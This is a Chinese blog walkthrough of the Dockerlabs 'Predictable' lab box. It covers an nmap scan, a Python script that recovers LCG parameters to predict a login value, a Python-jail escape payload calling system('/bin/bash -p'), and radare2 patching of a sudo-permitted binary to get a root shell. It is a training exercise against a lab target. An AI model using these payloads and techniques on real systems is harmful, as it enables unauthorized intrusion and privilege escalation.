Dockerlabs-predictable

Box Info

OSLinux
DifficultyHard

Nmap

不知道为什么扫得很慢,这里就简略一点

[root@kali] /home/kali/predictable  
❯ nmap 172.17.0.2 -p-           

PORT     STATE SERVICE
22/tcp   open  ssh
1111/tcp open  lmsocialserver

Crack Number

访问1111端口,在源代码中得到信息

似乎是这个随机数列表的生成逻辑

class prng_lcg:
    m = 
    c =
    n = 9223372036854775783

    def __init__(self, seed=None):
        self.state = seed

    def next(self):
        self.state = (self.state * self.m + self.c) % self.n
        return self.state

...

# return int
def obtener_semilla():
    return time.time_ns()

def obtener_semilla_anterior():
    return obtener_semilla() - 1
...

if 'seed' not in session:
	session['seed'] = obtener_semilla()
gen = prng_lcg(session['seed'])

...

gen = prng_lcg(session['seed'])
semilla_anterior = obtener_semilla_anterior()

...

逆向破解线性同余生成器(LCG)的参数 mc 是可行的,但需要一些已知的输出值来进行分析,我们已经有了99个参数,因此可以写一个脚本计算

import requests
from bs4 import BeautifulSoup
from collections import Counter

# 正确定义LCG的模数
MODULUS = 9223372036854775783


def extract_numbers(url):
    response = requests.get(url)
    soup = BeautifulSoup(response.text, 'html.parser')

    second_td_numbers = []
    for tr in soup.find_all('tr'):
        tds = tr.find_all('td')
        if len(tds) > 1:
            second_td_numbers.append(int(tds[1].text))

    filtered_numbers = [num for num in second_td_numbers if num > 100]
    return filtered_numbers


def find_lcg_parameters(random_numbers):
    if len(random_numbers) < 3:
        raise ValueError("需要至少三个连续数字来推导参数")

    # 计算相邻数字的差值
    deltas = [
        (random_numbers[i] - random_numbers[i - 1]) % MODULUS
        for i in range(1, len(random_numbers))
    ]

    m_candidates = []
    for i in range(1, len(random_numbers) - 1):
        try:
            # 计算连续差值的关系
            t1 = deltas[i]  # s_{i+1} - s_i
            t0 = deltas[i - 1]  # s_i - s_{i-1}

            # 计算模逆元并推导m
            inv = mod_inverse(t0, MODULUS)
            m = (t1 * inv) % MODULUS
            m_candidates.append(m)
        except ValueError:
            continue  # 跳过无法计算逆元的情况

    if not m_candidates:
        raise ValueError("无法确定m值,可能需要更多数据")

    # 统计找到最可能的m值
    m = Counter(m_candidates).most_common(1)[0][0]

    # 推导c值
    c = (random_numbers[1] - random_numbers[0] * m) % MODULUS

    return m, c


def extended_gcd(a, b):
    if a == 0:
        return (b, 0, 1)
    gcd, x1, y1 = extended_gcd(b % a, a)
    x = y1 - (b // a) * x1
    y = x1
    return (gcd, x, y)


def mod_inverse(a, m):
    gcd, x, y = extended_gcd(a, m)
    if gcd != 1:
        raise ValueError("模逆元不存在")
    return x % m


# 执行程序
if __name__ == "__main__":
    target_url = "http://172.17.0.2:1111"
    numbers = extract_numbers(target_url)

    try:
        m, c = find_lcg_parameters(numbers)
        print(f"成功破解参数: m={m}, c={c}")
    except Exception as e:
        print(f"错误: {str(e)}")
m=81853448938945944
c=7382843889490547368

接下来就要预测第一百个参数,由于在源码中已经知道了next的生成逻辑,因此直接使用就好了

print( ( number_99 * m + c ) % n )

成功得到凭证

Pyjail

这里我过滤了importos等,可以使用+号拼接字符串绕过,我在网上随便找了一个payload

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_clo"+"se"][0]["sys"+"tem"]("id")

进入shell只需要开启一个bash就行了

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_clo"+"se"][0]["sys"+"tem"]("/bin/bash -p")

Root

Method 1

查看特殊命令

mash@predictable:~$ sudo -l
Matching Defaults entries for mash on predictable:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User mash may run the following commands on predictable:
    (root) NOPASSWD: /opt/shell

试着运行一下

mash@predictable:~$ sudo /opt/shell
Uso: ./shell input
Pista: ./shell -h
mash@predictable:~$ sudo /opt/shell -h
¿Sabias que EI_VERSION puede tener diferentes valores?. radare2 esta instalado

你知道EI_VERSION可以有不同的值吗?radare2已安装

经过搜索,Radare2是一个逆向工具,他的项目地址👇

接下来进行分析这个二进制文件

[0x000010a0]> aa
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Recovering variables
INFO: Analyze all functions arguments/locals (afva@@@F)
[0x000010a0]> afl
0x00001030    1      6 sym.imp.puts
0x00001040    1      6 sym.imp.fread
0x00001050    1      6 sym.imp.system
0x00001060    1      6 sym.imp.printf
0x00001070    1      6 sym.imp.strcmp
0x00001080    1      6 sym.imp.fseek
0x00001090    1      6 sym.imp.fopen
0x000010a0    1     37 entry0
0x000012a0    1     13 sym._fini
0x00001199    9    262 main
0x00001000    3     27 sym._init
0x00001190    5     60 entry.init0
0x00001140    5     55 entry.fini0
0x000010d0    4     34 fcn.000010d0
[0x000010a0]> pdf @ main
            ; DATA XREF from entry0 @ 0x10b8(r)
┌ 262: int main (int argc, char **argv);
│           ; arg int argc @ rdi
│           ; arg char **argv @ rsi
│           ; var int64_t var_8h @ rbp-0x8
│           ; var int64_t var_10h @ rbp-0x10
│           ; var int64_t var_14h @ rbp-0x14
│           ; var int64_t var_20h @ rbp-0x20
│           0x00001199      55             push rbp
│           0x0000119a      4889e5         mov rbp, rsp
│           0x0000119d      4883ec20       sub rsp, 0x20
│           0x000011a1      897dec         mov dword [var_14h], edi    ; argc
│           0x000011a4      488975e0       mov qword [var_20h], rsi    ; argv
│           0x000011a8      837dec02       cmp dword [var_14h], 2
│       ┌─< 0x000011ac      7423           je 0x11d1
│       │   0x000011ae      488d05530e..   lea rax, str.Uso:_._shell_input ; 0x2008 ; "Uso: ./shell input"
│       │   0x000011b5      4889c7         mov rdi, rax
│       │   0x000011b8      e873feffff     call sym.imp.puts           ; int puts(const char *s)
│       │   0x000011bd      488d05570e..   lea rax, str.Pista:_._shell__h ; 0x201b ; "Pista: ./shell -h"
│       │   0x000011c4      4889c7         mov rdi, rax
│       │   0x000011c7      e864feffff     call sym.imp.puts           ; int puts(const char *s)
│      ┌──< 0x000011cc      e9c7000000     jmp 0x1298
│      │└─> 0x000011d1      488b45e0       mov rax, qword [var_20h]
│      │    0x000011d5      4883c008       add rax, 8
│      │    0x000011d9      488b00         mov rax, qword [rax]
│      │    0x000011dc      4889c6         mov rsi, rax
│      │    0x000011df      488d05470e..   lea rax, [0x0000202d]       ; "-h"
│      │    0x000011e6      4889c7         mov rdi, rax
│      │    0x000011e9      e882feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
│      │    0x000011ee      85c0           test eax, eax
│      │┌─< 0x000011f0      7514           jne 0x1206
│      ││   0x000011f2      488d05370e..   lea rax, str.Sabias_que_EI_VERSION_puede_tener_diferentes_valores_._radare2_esta_instalado ; 0x2030
│      ││   0x000011f9      4889c7         mov rdi, rax
│      ││   0x000011fc      e82ffeffff     call sym.imp.puts           ; int puts(const char *s)
│     ┌───< 0x00001201      e992000000     jmp 0x1298
│     ││└─> 0x00001206      488d05730e..   lea rax, [0x00002080]       ; "r"
│     ││    0x0000120d      4889c6         mov rsi, rax
│     ││    0x00001210      488d056b0e..   lea rax, str.shell          ; 0x2082 ; "shell"
│     ││    0x00001217      4889c7         mov rdi, rax
│     ││    0x0000121a      e871feffff     call sym.imp.fopen          ; file*fopen(const char *filename, const char *mode)
│     ││    0x0000121f      488945f0       mov qword [var_10h], rax
│     ││    0x00001223      488b45f0       mov rax, qword [var_10h]
│     ││    0x00001227      ba00000000     mov edx, 0
│     ││    0x0000122c      be06000000     mov esi, 6
│     ││    0x00001231      4889c7         mov rdi, rax
│     ││    0x00001234      e847feffff     call sym.imp.fseek          ; int fseek(FILE *stream, long offset, int whence)
│     ││    0x00001239      488b55f0       mov rdx, qword [var_10h]
│     ││    0x0000123d      488b45f8       mov rax, qword [var_8h]
│     ││    0x00001241      4889d1         mov rcx, rdx
│     ││    0x00001244      ba01000000     mov edx, 1
│     ││    0x00001249      be01000000     mov esi, 1
│     ││    0x0000124e      4889c7         mov rdi, rax
│     ││    0x00001251      e8eafdffff     call sym.imp.fread          ; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
│     ││    0x00001256      488b45f8       mov rax, qword [var_8h]
│     ││    0x0000125a      0fb600         movzx eax, byte [rax]
│     ││    0x0000125d      3c01           cmp al, 1
│     ││┌─< 0x0000125f      7423           je 0x1284
│     │││   0x00001261      488b45e0       mov rax, qword [var_20h]
│     │││   0x00001265      4883c008       add rax, 8
│     │││   0x00001269      488b00         mov rax, qword [rax]
│     │││   0x0000126c      0fb600         movzx eax, byte [rax]
│     │││   0x0000126f      3c30           cmp al, 0x30                ; '0'
│    ┌────< 0x00001271      7511           jne 0x1284
│    ││││   0x00001273      488d050e0e..   lea rax, str._bin_bash      ; 0x2088 ; "/bin/bash"
│    ││││   0x0000127a      4889c7         mov rdi, rax
│    ││││   0x0000127d      e8cefdffff     call sym.imp.system         ; int system(const char *string)
│   ┌─────< 0x00001282      eb14           jmp 0x1298
│   │└──└─> 0x00001284      488d05070e..   lea rax, str.Bleh_n         ; 0x2092 ; "Bleh~~\n"
│   │ ││    0x0000128b      4889c7         mov rdi, rax
│   │ ││    0x0000128e      b800000000     mov eax, 0
│   │ ││    0x00001293      e8c8fdffff     call sym.imp.printf         ; int printf(const char *format)
│   │ ││    ; CODE XREFS from main @ 0x11cc(x), 0x1201(x), 0x1282(x)
│   └─└└──> 0x00001298      b800000000     mov eax, 0
│           0x0000129d      c9             leave
└           0x0000129e      c3             ret

扔给Deepseek快速分析一下

程序大概分为两个部分

第一部分

比较argv[1]和“-h”是否相等。如果相等,即strcmp返回0,则跳转到打印提示信息,然后直接退出。因此如果用户输入的是“-h”参数,就会显示帮助信息,不会执行shell。
接下来,如果参数不是“-h”,程序继续执行:

第二部分

程序打开了一个名为"shell"的文件,跳转到第6个字节的位置(偏移量6),然后读取1个字节到var_8h指向的位置。
如果这个字节不等于1,程序继续执行。
如果该字符是'0',则执行system("/bin/bash"),否则打印Bleh~~。

总结一下

  • argc必须为2,即程序带一个参数。
  • 参数不能是“-h”。
  • 程序会打开当前目录下的”shell”文件,读取其第6个字节(偏移量6)的一个字节,该字节必须不等于1。
  • 同时,传入的参数的第一个字符必须是’0’(即argv[1][0] == ‘0’)。

使用r2进行修改

mash@predictable:/opt$ r2 -w shell    # -w is write mode

[0x000010a0]> s 0x06   # jump to addr 0x06
[0x00000006]> w 0      # overwrite 0
[0x00000006]> q        # save and exit

Method 2

由于我们是可以修改/opt/shell的,因此可以直接将提权代码追加到其中,这应该算是作者的疏漏???

Summary

User:网页源码泄露出随机数生成逻辑,用得到的序列进行反推,得到加密参数,计算出第一百个数字,输入得到登录凭证。

Rootssh登录后就是Pyjail,过滤关键字可以用+号进行拼接,也不是很严格,网上可以随便找payload。查看到特殊权限命令,需要使用r2工具分析main函数的具体功能,修改0x06上的字节即可绕过。因为该二进制文件是可写的,所以也可以直接添加提权命令。

当前页面链接: https://www.hyhforever.top/dockerlabs-predictable/
如果您对本文内容有所意见或者建议,欢迎评论。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇